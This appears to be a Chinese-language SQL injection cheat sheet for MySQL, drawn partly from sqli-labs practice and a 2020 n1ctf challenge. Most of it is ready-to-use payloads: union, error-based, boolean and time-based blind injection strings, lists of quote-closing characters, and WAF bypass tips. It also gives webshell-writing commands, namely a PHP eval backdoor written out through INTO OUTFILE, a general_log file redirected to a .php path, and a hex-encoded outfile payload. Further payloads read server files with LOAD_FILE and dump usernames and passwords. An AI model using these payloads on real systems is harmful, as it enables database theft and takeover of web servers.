1. 程式人生 > 資料庫 >sql注入速查手冊(不定期更新)

sql注入速查手冊(不定期更新)

文章目錄

1 利用方式

1.1 回顯資料

  • 系統資訊收集:常見的使用 * 進行標註

system_user()     系統使用者名稱
user()            MYSQL使用者名稱 
current_user()    當前使用者名稱
session_user()    連線資料庫的使用者名稱
database()        當前資料庫名(*)
schema()          當前資料庫名
version()         當前資料庫版本資訊
@@version         資料庫版本
load_file()       MYSQL讀取本地檔案(*)

@@datadir         Location of DB files
@@hostname        伺服器主機名
@@basedir         MYSQL 安裝路徑
@@version_compile_os    作業系統

  • 資料庫資訊收集

-- 檢視資料庫伺服器上的資料庫
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

-- 檢視某個資料庫裡面的資料表
SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema ='資料庫名'

-- 檢視某個資料表裡面的欄位
--   預設當前資料庫
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name ='表名'
--  指定資料庫
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name ='表名' AND table_schema ='資料庫名'

-- 查詢欄位名為id的資料庫名和表名
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'id';

-- 許可權列表
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;

1.2 Getshell


-- outfile獲取shell(union)
select '<?php @eval($_POST["pwd"]) ?>' into outfile '可訪問web路徑'

-- 開啟日誌獲取shell(堆疊)
-- 檢視配置
show variables like 'general%';
-- 開啟日誌
set global general_log = "ON";
-- 設定路徑
set global general_log_file='/Users/littlechieh6/Documents/project/sqli-labs-php7/shell.php';
-- 資料寫入
select '<?php phpinfo();?>';

2 閉合方式

2.1 常見型別

數字、字元、括號型(單側)


)
))
'
')
'))
"
")
"))
`
`)
`))
%
%)
%'
%')
%'))
%"
%")
%`
%`)
%`))

2.2 兩側閉合型

insert無法直接回顯


?id=1'&&sleep(3)&&'1

2.3 Order by型

驗證是否存在


# 升序排序
?sort=1 asc
# 降序排序
?sort=1 desc

# rand() 驗證
?sort=rand(true)
?sort=rand(false)

# 延時驗證
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)

常見利用方式

  • 報錯注入
  • 布林注入
  • 延時注入

# 報錯1
?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

# 報錯2
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)

# 布林注入
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')

# 延時注入
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

# 寫webshell
?sort=1 into outfile "/var/www/html/less46.txt"
?sort=1 into outfile "/Users/littlechieh6/Documents/project/sqli-labs-php7/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

3 按回顯型別

3.1 聯合注入


-- 判斷欄位數目
order by 1

-- 聯合查詢收集資訊
union select 
-- 查詢當前資料庫
UNION SELECT 1,2,database() 
-- 查詢所有資料庫
UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata 
-- 查詢表名
UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 
-- 查詢列名
UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 
-- 查詢欄位值
UNION SELECT 1,2,group_concat(id,username,password) from users 

3.2 報錯注入

報錯注入常見的幾種型別:

  1. BIGINT等資料型別溢位
  2. xpath語法錯誤
  3. concat+rand()+group_by()導致主鍵重複
  4. 一些特性

參考:

  • 資料溢位

select ~0+1;
select exp(709);
select (select(!x-~0)from(select(select user())x)a);

  • xpath語法錯誤

select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
select extractvalue(1,concat(0x7e,(select @@version),0x7e));

3.3 布林注入


1. 獲取當前資料庫長度
1" and length(database())>= 11 #()

2. 獲取當前資料庫名字
1" and substr(database(), 11, 1)="e" #

3. 獲取庫表的總數(還可以使用length)
1" and (select count(table_name) from information_schema.tables where table_schema=database()) >= 3 #

4. 獲取庫表的長度
1" and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) >=0 #

5. 獲取庫表的名字
1" and substr((select table_name from information_schema.tables where table_schema=database() limit 2,1), {pos}, 1)="{c}" #

6. 獲取庫表的欄位總數
1" and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="the_cfg") >= 2 #

7. 獲取庫表的欄位第2個長度
1" and length((select column_name from information_schema.columns where table_schema=database() and table_name="the_cfg" limit 0,1)) >= 0 #

8. 獲取庫表的欄位第N個欄位名
1" and substr((select column_name from information_schema.columns where table_schema=database() and table_name="the_cfg" limit 0,1), {pos}, 1)="{c}" #

9. 獲取內容
1" and substr((select cfg_value from the_cfg limit 0,1), {pos}, 1)="{c}" #
注意:substr(str,pos,len);需要注意的是:如果 pos 為 1(而不是0),表示從第一個位置開始。
limit pos,len :從 0 開始,後面的 len 代表長度

3.4 時間盲注


# SLEEP
select sleep(5);
# BENCHMARK
select benchmark(10000000,sha(1));
# 笛卡爾積
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
# GET_LOCK
select get_lock('test',5);
# RLIKE
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

4 WAF繞過

  1. 雙寫
  2. 特殊符號:如:%0b
  3. 寬位元組
  4. 兩端閉合

實戰

2020 年 n1ctf 中 Web-SignIn 一題中用到的 SQL 語句。使用的報錯函式與 exp()


# 查詢資料庫名字
database()

# 查詢資料庫資訊
SELECT concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@version_compile_os)

# 查詢檔案讀取許可權
select group_concat(user,0x3a,file_priv) from mysql.user

# 查詢當前使用者
select user()

# 查詢資料庫版本
version()

# 查詢表名的長度
select length(table_name) from information_schema.tables where table_schema='n1ctf_websign' limit 0,1) < 0

# 查詢表名(修改後面的 limit)
select table_name from information_schema.tables where table_schema=DATABASE() limit 1,1

# 判斷欄位名(修改後面的 limit)
select column_name from information_schema.columns where table_schema=database() and table_name='n1key' limit 0,1。

# 查詢 ip 表。(邊插入邊查詢,需要使用別名)
SELECT tid FROM (select ip tid from n1ip limit 0,1) AS tt

# 查詢某個欄位的資料(key 與資料庫的關鍵詞相沖突,需要使用別名)
select GROUP_CONCAT(id) FROM n1key
select group_concat(bb.key) from n1key bb
select group_concat(key) FROM (SELECT * FROM n1key) as a
select id from n1key limit 0,1
# 不使用欄位名度值
SELECT a.2 FROM (SELECT 1, 2 UNION SELECT * FROM n1key

# 判斷是否有資料
SELECT (SELECT key FROM n1key) IS NULL

# 查詢檔案
SELECT LOAD_FILE('/flag')

附錄

參考文件: